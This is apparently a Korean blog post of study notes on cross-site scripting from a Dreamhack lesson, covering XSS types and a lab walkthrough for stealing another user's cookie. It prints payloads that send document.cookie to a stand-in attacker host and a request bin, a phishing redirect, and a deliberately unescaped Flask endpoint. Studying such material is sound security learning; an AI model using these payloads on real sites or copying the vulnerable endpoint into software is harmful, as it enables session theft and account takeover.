1. XSS
- 클라이언트 사이드 취약점 중 하나
- 공격자가 웹 리소스를 악성 스크립트에 삽입해 이용자의 웹 브라우저에서 해당 스크립트를 실행
- 해당 취약점은 SOP 보안 정책이 등장하여 서로 다른 오리진에서 정보를 읽는 행위가 힘들어짐
1.1 XSS 발생 예시
- 이용자가 삽입한 내용을 출력하는 기능에서 발생
ex) 로그인 출력 시 "안녕하세요. 00회원님" 이라는 문구 또는 게시물과 댓글
1.2 XSS 종류
1.2.1 Stored XSS
- XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS
1.2.2 Reflected XSS
- XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
- 이용자의 요청에 의해 발생
- 공격을 위해서 타 이용자에게 악성 스크립트가 포함된 링크에 접속하도록 유도
1.2.3 DOM-based XSS
- XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS
1.2.4 Universal XSS
- 클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS
1.3 XSS 스크립트의 예시
- 쿠키 및 세션 탈취 공격 코드
<script>
// "hello" 문자열 alert 실행.
alert("hello");
// 현재 페이지의 쿠키(return type: string)
document.cookie;
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = "name=test;";
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// "http://hacker.dreamhack.io/?cookie=현재페이지의쿠키" 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
</script>
- 페이지 변조 공격 코드
<script>
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write("Hacked By DreamHack !");
</script>
- 위치 이동 공격 코드
<script>
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = "http://hacker.dreamhack.io/phishing";
// 새 창 열기
window.open("http://hacker.dreamhack.io/")
</script>
2. Exercise : XSS
- 실습 : 다른 이용자의 클라이언트에 저장된 쿠키를 탈취해보는 것
- 배경 지식 : 파이썬 Flask 프레임워크를 통해 구현, 시나리오는 셀레늄을 통해 구현
- 셀레늄이란?
웹 애플리케이션 테스팅에 사용되는 파이썬 모듈로 API를 통해 웹 드라이버를 사용 가능
2.1 웹 서비스 분석
엔드포인트: /vuln
@app.route("/vuln")
def vuln():
param = request.args.get("param", "") # 이용자가 입력한 vuln 인자를 가져옴
return param # 이용자의 입력값을 화면 상에 표시
엔드포인트 : /memo
@app.route("/memo") # memo 페이지 라우팅
def memo(): # memo 함수 선언
global memo_text # 메모를 전역변수로 참조
text = request.args.get("memo", "") # 이용자가 전송한 memo 입력값을 가져옴
memo_text += text + "\n" # 이용자가 전송한 memo 입력값을 memo_text에 추가
return render_template("memo.html", memo=memo_text) # 사이트에 기록된 memo_text를 화면에 출력
엔드포인트 : /flag
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
2.2 취약점 분석
- vuln과 memo엔드포인트는 이용자의 입력 값을 페이지에 출력해준다
- memo는 render_template 함수를 사용하여 memo.html을 출력
- render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티 코드로 변환하여 저장하기 때문에 XSS가 발생하지 않는다
- 하지만 vulm은 이용자가 입력한 값을 그대로 출력하기 때문에 XSS 발생
2.3 익스플로잇
- /vuln 엔트포인터에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취해야 한다
2.3.1 공격에 사용할 수 있는 속성과 설명
- location.href
전체 URL을 반환하거나 URL을 업데이트 할 수 있는 속성값
- document.cookie
해당 페이지에서 사용하는 쿠키를 읽고, 쓰는 속성값
2.4 쿠키 탈취
2.4.1 memo 페이지 사용
- 임의 이용자의 쿠키 정보 확인
<script>location.href = "/memo?memo=" + document.cookie;</script>
2.4.2 웹 서버 사용
- Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보 확인 가능
- Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되어 접속한 기록 저장
<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>
'IT > DREAMHACK' 카테고리의 다른 글
Dreamhack XSS 함께 실습 (0) | 2023.07.07 |
---|---|
[드림핵] 웹해킹 워게임 Carve Party 플래그 찾기 (1) | 2023.05.19 |
댓글